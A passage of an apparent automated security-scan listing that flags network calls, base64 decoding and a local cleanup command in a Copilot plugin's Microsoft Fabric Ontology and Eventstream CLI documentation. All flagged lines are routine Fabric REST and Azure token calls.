    SOURCE_ID=$(az rest --method GET    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/topology"
  • Network accessline 143
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/topology" \
  • Network accessline 144
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 152
    # PowerShell — extract sourceId for Custom Endpoint (fails clearly if multiple exist) $topology = az rest --method GET `   --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/topology" `
  • Network accessline 153
    $topology = az rest --method GET    --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/topology"
  • Network accessline 154
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/topology" `
  • Network accessline 155
    --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 167
    az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/sources/${SOURCE_ID}/connection" \
  • Network accessline 168
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/sources/${SOURCE_ID}/connection" \
  • Network accessline 169
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 173
    az rest --method GET `   --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/sources/$sourceId/connection" `
  • Network accessline 174
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/sources/$sourceId/connection" `
  • Network accessline 175
    --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 244
    - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls
  • Network accessline 246
    - **Always base64-decode** the definition payload before inspecting topology (not needed for the Topology API — that returns JSON directly) - **For Custom Endpoint connection details, use the Topology API** — `POST .../getDefinition` return
  • Network accessline 247
    - **For Custom Endpoint connection details, use the Topology API** — `POST .../getDefinition` returns empty properties; call `GET .../topology` to get the sourceId, then `GET .../sources/{sourceId}/connection` - **Use POST for definition en
  • Network accessline 248
    - **Use POST for definition endpoints** — `POST .../getDefinition` (not GET), `POST .../updateDefinition` (not PUT). See [official docs](https://learn.microsoft.com/en-us/fabric/real-time-intelligence/event-streams/api-get-eventstream-defin
  • Network accessline 284
    # 1. Discover workspace ID $wsId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 285
    $wsId = (az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 286
    --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 287
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 292
    $allItems = @() $resp = az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" `
  • Network accessline 293
    $resp = az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams"
  • Network accessline 294
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" `
  • Network accessline 295
    --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 298
    $resp = az rest --method get        --url $resp.continuationUri        --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 300
    --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 311
    # 1. Discover workspace + Eventstream IDs $wsId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 312
    $wsId = (az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 313
    --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 314
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 318
    $esId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" `
  • Network accessline 319
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" `
  • Network accessline 320
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 324
    # 2. Get topology (returns JSON directly — no base64 decoding needed) $topo = az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" `
  • Network accessline 325
    $topo = az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology"
  • Network accessline 326
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" `
  • Network accessline 327
    --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 357
    # 1. Discover workspace + Eventstream IDs $wsId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 358
    $wsId = (az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 359
    --url "https://api.fabric.microsoft.com/v1/workspaces" `
  • Network accessline 360
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 364
    $esId = (az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/items?type=Eventstream" `
  • Network accessline 365
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/items?type=Eventstream" `
  • Network accessline 366
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 370
    [Credential-related source omitted]
  • Network accessline 371
    [Credential-related source omitted]
  • Network accessline 372
    $ps5 = @{}; if ($PSVersionTable.PSVersion.Major -lt 6) { $ps5.UseBasicParsing = $true } $response = Invoke-WebRequest @ps5 -Method Post `   -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition" `
  • Network accessline 373
    $response = Invoke-WebRequest @ps5 -Method Post    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition"
  • Network accessline 374
    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition" `
  • Possible obfuscationline 406
    [Convert]::FromBase64String($propsPart.payload)) | ConvertFrom-Json
  • Possible obfuscationline 414
    [Convert]::FromBase64String($esPart.payload)) | ConvertFrom-Json
  • Network accessline 438
    # 2. Get topology to find Custom Endpoint source ID $topo = az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" `
  • Network accessline 439
    $topo = az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology"
  • Network accessline 440
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" `
  • Network accessline 441
    --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 447
    # 3. Get connection metadata $conn = az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/sources/$sourceId/connection" `
  • Network accessline 448
    $conn = az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/sources/$sourceId/connection"
  • Network accessline 449
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/sources/$sourceId/connection" `
  • Network accessline 450
    --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 464
    # 2. Get topology $topo = az rest --method get `   --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" `
  • Network accessline 465
    $topo = az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology"
  • Network accessline 466
    --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" `
  • Network accessline 467
    --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring.md

  • Network accessline 16
    | Finding Workspaces and Items in Fabric         | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric)                            | **Mandatory** — resolve workspace
  • Network accessline 17
    | Fabric Topology & Key Concepts                 | [COMMON-CORE.md § Fabric Topology & Key Concepts](../../../common/COMMON-CORE.md#fabric-topology--key-concepts)                                           | Workspace → Item hierarchy       
  • Network accessline 18
    | Authentication & Token Acquisition             | [COMMON-CORE.md § Authentication & Token Acquisition](../../../common/COMMON-CORE.md#authentication--token-acquisition)                                   | Use `https://api.fabric.microsoft
  • Network accessline 21
    | Rate Limiting & Throttling                     | [COMMON-CORE.md § Rate Limiting & Throttling](../../../common/COMMON-CORE.md#rate-limiting--throttling)                                                   |                                  
  • Network accessline 22
    | Authentication Recipes                         | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes)                                                            | `az login`; token acquisition    
  • Network accessline 23
    | Fabric Control-Plane API via `az rest`         | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest)                                | **Always** pass `--resource https
  • Network accessline 81
    > 2. **Build JSON with `jq`** instead of `ConvertTo-Json` where possible — `jq -nc` produces deterministic, compact JSON without PowerShell serialization quirks: >    ```powershell >    $json = '{}' | jq -nc --arg id "$ET_ID" --arg name "Si
  • Network accessline 82
    >    ```powershell >    $json = '{}' | jq -nc --arg id "$ET_ID" --arg name "Site" '{id:$id,name:$name}' >    ```
  • Network accessline 83
    >    $json = '{}' | jq -nc --arg id "$ET_ID" --arg name "Site" '{id:$id,name:$name}'
  • Network accessline 96
    - Sign in + acquire the Fabric control-plane token → [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) (always `--resource https://api.fabric.microsoft.com`).
  • Network accessline 135
    > **Prefer polling with `x-ms-operation-id` over the raw `Location` header for Ontology create/update.** The public [Fabric LRO contract](https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation) supports polling ei
  • Network accessline 138
    # Bash — capture x-ms-operation-id from az rest --verbose stderr OP_ID=$(az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items" \
  • Network accessline 139
    OP_ID=$(az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items"
  • Network accessline 140
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items" \
  • Network accessline 141
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 147
    while :; do   OP=$(az rest --method GET \     --url "https://api.fabric.microsoft.com/v1/operations/${OP_ID}" \
  • Network accessline 148
    OP=$(az rest --method GET      --url "https://api.fabric.microsoft.com/v1/operations/${OP_ID}"
  • Network accessline 149
    --url "https://api.fabric.microsoft.com/v1/operations/${OP_ID}" \
  • Network accessline 150
    --resource "https://api.fabric.microsoft.com")
  • Network accessline 164
    # PowerShell — capture x-ms-operation-id from az rest --verbose stderr $result = az rest --method POST `   --resource "https://api.fabric.microsoft.com" `
  • Network accessline 165
    $result = az rest --method POST    --resource "https://api.fabric.microsoft.com"
  • Network accessline 166
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 167
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" `
  • Network accessline 175
    Start-Sleep -Seconds 5   $op = az rest --method GET `     --url "https://api.fabric.microsoft.com/v1/operations/$opId" `
  • Network accessline 176
    $op = az rest --method GET      --url "https://api.fabric.microsoft.com/v1/operations/$opId"
  • Network accessline 177
    --url "https://api.fabric.microsoft.com/v1/operations/$opId" `
  • Network accessline 178
    --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 308
    | New upstream rows not appearing | No refresh performed | Trigger a manual graph-model refresh on the ontology item | | Timeseries widget shows no data | `timestampColumnName` not set, or timestamp column is not a supported date/time type 
  • Network accessline 309
    | Timeseries widget shows no data | `timestampColumnName` not set, or timestamp column is not a supported date/time type | Set `timestampColumnName` in the TimeSeries binding; ensure column type is `datetime` / `date` / `timestamp` | | `get
  • Network accessline 310
    | `getDefinition` returns `200` or `202` | LRO-capable response (may be inline envelope or operation-id) | If `202`, poll the operation until `Succeeded`, then `GET https://api.fabric.microsoft.com/v1/operations/{operationId}/result`; if `2
  • Network accessline 311
    | LRO poll returns `401`/`403`, or the `Location` header host is `*.analysis.windows.net` | The create/update `Location` redirects to an Analysis Services host; polling it with `az rest --resource https://api.fabric.microsoft.com` re-auths 

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring/ONTOLOGY-AUTHORING-CORE.md

  • Network accessline 210
    "workspaceId": "580f410e-733d-43bd-8a87-be12b536f7ff",       "itemId": "a1f22aaa-b5c2-4d12-a3d4-8821c50a90cd",       "clusterUri": "https://trd-xxxx.z0.kusto.fabric.microsoft.com",
  • Network accessline 211
    "itemId": "a1f22aaa-b5c2-4d12-a3d4-8821c50a90cd",       "clusterUri": "https://trd-xxxx.z0.kusto.fabric.microsoft.com",       "databaseName": "Zava_Telemetry",
  • Network accessline 212
    "clusterUri": "https://trd-xxxx.z0.kusto.fabric.microsoft.com",
  • Network accessline 295
    { "displayText": "Install guide", "url": "https://example.com/guide" }
  • Network accessline 323
    All calls target `https://api.fabric.microsoft.com` and require the `https://api.fabric.microsoft.com` token audience.

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring/authoring-mechanics.md

  • Network accessline 84
    1. A `.platform` JSON with `{ "metadata": { "type": "Ontology", "displayName": "<name>" } }`. 2. An empty `definition.json` of `{}`. The base64 encoding of `{}` is exactly `e30=` — do not add whitespace, newlines, or BOM. 3. Base64-encode e
  • Network accessline 85
    2. An empty `definition.json` of `{}`. The base64 encoding of `{}` is exactly `e30=` — do not add whitespace, newlines, or BOM. 3. Base64-encode each, build the envelope, `POST` to `https://api.fabric.microsoft.com/v1/workspaces/{WS_ID}/ite
  • Network accessline 86
    3. Base64-encode each, build the envelope, `POST` to `https://api.fabric.microsoft.com/v1/workspaces/{WS_ID}/items`.
  • Network accessline 87
    4. Poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` (from the `x-ms-operation-id` header) until `Succeeded`; capture the new ontology item ID.
  • Network accessline 91
    > ```bash > ONTO_ID=$(az rest --method GET \ >   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items?type=Ontology" \
  • Network accessline 92
    > ONTO_ID=$(az rest --method GET \ >   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items?type=Ontology" \ >   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 93
    >   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items?type=Ontology" \
  • Network accessline 94
    >   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 96
    > ``` > > To capture the LRO operation id from `az rest`, use `--verbose` and parse the `x-ms-operation-id` header from stderr, then poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` — see [authoring mode § LRO Header Capt
  • Network accessline 98
    > To capture the LRO operation id from `az rest`, use `--verbose` and parse the `x-ms-operation-id` header from stderr, then poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` — see [authoring mode § LRO Header Capture](../
  • Network accessline 317
    > **`getDefinition` typically returns 202 (LRO)**, not 200 with inline data. You must: > 1. Capture the `x-ms-operation-id` header from the 202 response > 2. Poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` until `status:
  • Network accessline 318
    > 1. Capture the `x-ms-operation-id` header from the 202 response > 2. Poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` until `status: "Succeeded"` > 3. `GET https://api.fabric.microsoft.com/v1/operations/{operationId}/re
  • Network accessline 319
    > 2. Poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` until `status: "Succeeded"`
  • Network accessline 320
    > 3. `GET https://api.fabric.microsoft.com/v1/operations/{operationId}/result` to retrieve the actual definition envelope > > Poll the Fabric `operations` endpoint on `api.fabric.microsoft.com` rather than following the raw `Location` heade
  • Network accessline 322
    > Poll the Fabric `operations` endpoint on `api.fabric.microsoft.com` rather than following the raw `Location` header — the latter redirects to an `analysis.windows.net` host that fails `az rest --resource https://api.fabric.microsoft.com` 
  • Network accessline 329
    #    script in definition-script-templates.md. az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \
  • Network accessline 330
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition"
  • Network accessline 331
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \
  • Network accessline 332
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 339
    # 3. Send the updated envelope (also LRO — poll the Location header) az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/updateDefinition" \
  • Network accessline 340
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/updateDefinition"
  • Network accessline 341
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/updateDefinition" \
  • Network accessline 342
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 347
    Both `createItem` and `updateDefinition` return **long-running operations**. `getDefinition` is also LRO-capable — it may return the envelope directly (`200 OK`) **or** a `202 Accepted` carrying an `x-ms-operation-id` header; in the 202 cas
  • Network accessline 359
    # returns 202, fall back to the LRO-aware script in definition-script-templates.md. az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \
  • Network accessline 360
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition"
  • Network accessline 361
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \
  • Network accessline 362
    --resource "https://api.fabric.microsoft.com" \

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring/definition-script-templates.md

  • Network accessline 14
    `getDefinition` is long-running-operation-capable: it may return **200 OK** with the envelope inline, or **202 Accepted** with an `x-ms-operation-id` header. For 202, poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` until
  • Network accessline 20
    : "${WS_ID:?set WS_ID}"; : "${ONTO_ID:?set ONTO_ID}" WORK=$(mktemp -d) FABRIC_BASE="https://api.fabric.microsoft.com"
  • Network accessline 21
    [Credential-related source omitted]
  • Network accessline 22
    FABRIC_BASE="https://api.fabric.microsoft.com"
  • Network accessline 25
    # 1. Fetch current definition (handle 200 or 202 LRO) getdef_http=$(curl -sS -D "$WORK/getdef.headers" -o "$WORK/getdef.body" -w "%{http_code}" \
  • Network accessline 26
    getdef_http=$(curl -sS -D "$WORK/getdef.headers" -o "$WORK/getdef.body" -w "%{http_code}" \
  • Network accessline 35
    [Credential-related source omitted]
  • Network accessline 36
    [Credential-related source omitted]
  • Network accessline 37
    [Credential-related source omitted]
  • Network accessline 39
    [Credential-related source omitted]
  • Network accessline 40
    [Credential-related source omitted]
  • Network accessline 41
    [Credential-related source omitted]
  • Network accessline 43
    [Credential-related source omitted]
  • Network accessline 44
    [Credential-related source omitted]
  • Network accessline 45
    [Credential-related source omitted]
  • Network accessline 65
    #    Note: base64 -w 0 is GNU-only; on macOS use `base64 | tr -d '\n'`. PARTS_JSON=$(cd "$WORK/tree" && find . -type f | sed 's|^\./||' | while read -r p; do     jq -nc --arg path "$p" --arg payload "$(base64 -w 0 < "$p")" \
  • Network accessline 66
    PARTS_JSON=$(cd "$WORK/tree" && find . -type f | sed 's|^\./||' | while read -r p; do     jq -nc --arg path "$p" --arg payload "$(base64 -w 0 < "$p")" \       '{path:$path,payload:$payload,payloadType:"InlineBase64"}'
  • Network accessline 67
    jq -nc --arg path "$p" --arg payload "$(base64 -w 0 < "$p")" \
  • Network accessline 73
    # 5. Send update (also an LRO — poll Location until Succeeded) upd_http=$(curl -sS -D "$WORK/upd.headers" -o "$WORK/upd.body" -w "%{http_code}" \
  • Network accessline 74
    upd_http=$(curl -sS -D "$WORK/upd.headers" -o "$WORK/upd.body" -w "%{http_code}" \
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Network accessline 86
    [Credential-related source omitted]
  • Network accessline 88
    [Credential-related source omitted]
  • Network accessline 89
    [Credential-related source omitted]
  • Network accessline 90
    [Credential-related source omitted]
  • Network accessline 101
    > Both `getDefinition` and `updateDefinition` are LRO-capable; the template above captures `x-ms-operation-id` and polls `https://api.fabric.microsoft.com/v1/operations/{id}` (not the `Location` redirect host). See COMMON-CLI.md § Long-Runn
  • Network accessline 114
    $work = New-Item -ItemType Directory -Path (Join-Path $env:TEMP ("onto-" + [guid]::NewGuid())) $base = "https://api.fabric.microsoft.com"
  • Network accessline 115
    $base = "https://api.fabric.microsoft.com"
  • Network accessline 119
    # 1. Fetch (handle 200 or 202 LRO)
  • Possible obfuscationline 144
    [IO.File]::WriteAllBytes($out, [Convert]::FromBase64String($p.payload))

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring/examples.md

  • Network accessline 25
    # Alternative: Fabric Tables API (table names only — no columns) az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/lakehouses/${LH_ID}/tables" \
  • Network accessline 26
    az rest --method GET    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/lakehouses/${LH_ID}/tables"
  • Network accessline 27
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/lakehouses/${LH_ID}/tables" \
  • Network accessline 28
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 37
    [Credential-related source omitted]
  • Network accessline 39
    # FASTEST: get ALL table schemas in the database in one call curl -s -X POST "${CLUSTER_URI}/v1/rest/query" \
  • Network accessline 40
    curl -s -X POST "${CLUSTER_URI}/v1/rest/query" \
  • Network accessline 79
    az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items" \
  • Network accessline 80
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items" \
  • Network accessline 81
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 86
    > Poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` (capture `x-ms-operation-id` via `--verbose`) until `Succeeded`, then resolve `ONTO_ID` by listing `Ontology` items in the workspace. Do not poll the raw `Location` heade
  • Network accessline 99
    # --- Build the new parts --- ET_JSON=$(jq -nc \
  • Network accessline 100
    ET_JSON=$(jq -nc \
  • Network accessline 112
    BIND_JSON=$(jq -nc \
  • Network accessline 146
    REL_JSON=$(jq -nc --arg id "$OPERATES_REL_ID" --arg src "$HUB_ET_ID" --arg tgt "$AIRCRAFT_ET_ID" \
  • Network accessline 150
    CTX_JSON=$(jq -nc \
  • Network accessline 177
    #  entries to timeseriesProperties[], base64-encode, splice back in. Pseudo #  below; see definition-script-templates.md for the full splice.) TS_PROPS_JSON=$(jq -nc \
  • Network accessline 178
    #  below; see definition-script-templates.md for the full splice.) TS_PROPS_JSON=$(jq -nc \   --arg tsId "$AIRCRAFT_TS_TIMESTAMP_ID" \
  • Network accessline 179
    TS_PROPS_JSON=$(jq -nc \
  • Network accessline 189
    # are both required (CORE: timeseriesProperties must include a timestamp # property bound via timestampColumnName). TS_BIND_JSON=$(jq -nc \
  • Network accessline 190
    # property bound via timestampColumnName). TS_BIND_JSON=$(jq -nc \   --arg id "$TS_BIND_GUID" \
  • Network accessline 191
    TS_BIND_JSON=$(jq -nc \

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring/preview-and-confirm.md

  • Network accessline 202
    # Step A — fetch current state (after Step 3 of the workflow) az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \
  • Network accessline 203
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition"
  • Network accessline 204
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \
  • Network accessline 205
    --resource "https://api.fabric.microsoft.com" -o json > /tmp/onto.current.json

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption.md

  • Network accessline 17
    | Finding Workspaces and Items in Fabric           | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric)  | **Mandatory** — resolve workspace/item IDs before enumera
  • Network accessline 18
    | Fabric Topology & Key Concepts                   | [COMMON-CORE.md § Fabric Topology & Key Concepts](../../../common/COMMON-CORE.md#fabric-topology--key-concepts)                 | Workspace → Item hierarchy                               
  • Network accessline 19
    | Authentication & Token Acquisition               | [COMMON-CORE.md § Authentication & Token Acquisition](../../../common/COMMON-CORE.md#authentication--token-acquisition)         | Use `https://api.fabric.microsoft.com` audience for contr
  • Network accessline 22
    | Rate Limiting & Throttling                       | [COMMON-CORE.md § Rate Limiting & Throttling](../../../common/COMMON-CORE.md#rate-limiting--throttling)                         |                                                          
  • Network accessline 23
    | Authentication Recipes                           | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes)                                  | `az login`; token acquisition                            
  • Network accessline 24
    | Fabric Control-Plane API via `az rest`           | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest)      | **Always** pass `--resource https://api.fabric.microsoft.
  • Network accessline 80
    - Sign in + acquire the Fabric control-plane token → [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) (always `--resource https://api.fabric.microsoft.com`).
  • Network accessline 86
    `Get Item Definition` is Long-Running-Operation-capable. Depending on tenant/SKU, the POST may return the definition envelope inline (`200 OK`) **or** return `202 Accepted` with an `x-ms-operation-id` header; for the 202 case, poll `https:/
  • Network accessline 88
    > **Ontology-preview gotcha — prefer polling the `operations/{id}` endpoint over the `Location` header.** The public Fabric LRO contract supports either, but on this Ontology LRO the `Location` header has been observed redirecting to an `*.
  • Network accessline 208
    | Symptom | Fix | |---|---| | `az rest` returns `401 Unauthorized` | `az login`; confirm `--resource "https://api.fabric.microsoft.com"` on the control-plane call (and the matching downstream audience when delegating — `https://kusto.kusto.
  • Network accessline 209
    |---|---| | `az rest` returns `401 Unauthorized` | `az login`; confirm `--resource "https://api.fabric.microsoft.com"` on the control-plane call (and the matching downstream audience when delegating — `https://kusto.kusto.windows.net` for E
  • Network accessline 210
    | `az rest` returns `401 Unauthorized` | `az login`; confirm `--resource "https://api.fabric.microsoft.com"` on the control-plane call (and the matching downstream audience when delegating — `https://kusto.kusto.windows.net` for EH). |
  • Dangerous shell operationline 228
    | Situation | Inline (`az rest` / `curl`) | Python / shell script |

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption/examples.md

  • Network accessline 18
    WS_ID=$(az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 19
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 20
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 23
    ONT_ID=$(az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items?type=Ontology" \
  • Network accessline 24
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items?type=Ontology" \
  • Network accessline 25
    --resource "https://api.fabric.microsoft.com" \
  • Dangerous shell operationline 207
    rm -rf ./_ont

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption/graph-walks.md

  • Network accessline 46
    Import-Module Az.Accounts $FTOK = (Get-AzAccessToken -ResourceUrl "https://api.fabric.microsoft.com" -WarningAction SilentlyContinue).Token
  • Network accessline 47
    $FTOK = (Get-AzAccessToken -ResourceUrl "https://api.fabric.microsoft.com" -WarningAction SilentlyContinue).Token
  • Network accessline 48
    $STOK = (Get-AzAccessToken -ResourceUrl "https://storage.azure.com"        -WarningAction SilentlyContinue).Token
  • Network accessline 49
    # Optional, for KQL: $KTOK = (Get-AzAccessToken -ResourceUrl "https://kusto.kusto.windows.net" ...).Token
  • Network accessline 59
    $specs = @(@{key="anchor";lh=$lhId;tbl="panels"}) + $linkSpecs + $neighborSpecs $results = $specs | ForEach-Object -Parallel {   $u = "https://onelake.dfs.fabric.microsoft.com/$using:WS/$($_.lh)/Files/raw/$($_.tbl).csv"
  • Network accessline 60
    [Credential-related source omitted]
  • Network accessline 61
    $u = "https://onelake.dfs.fabric.microsoft.com/$using:WS/$($_.lh)/Files/raw/$($_.tbl).csv"

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption/grounding-extraction.md

  • Network accessline 20
    # 1. Kick off the LRO, capture the operation id (stays on api.fabric.microsoft.com) OP_ID=$(az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONT_ID}/getDefinition" \
  • Network accessline 21
    OP_ID=$(az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONT_ID}/getDefinition"
  • Network accessline 22
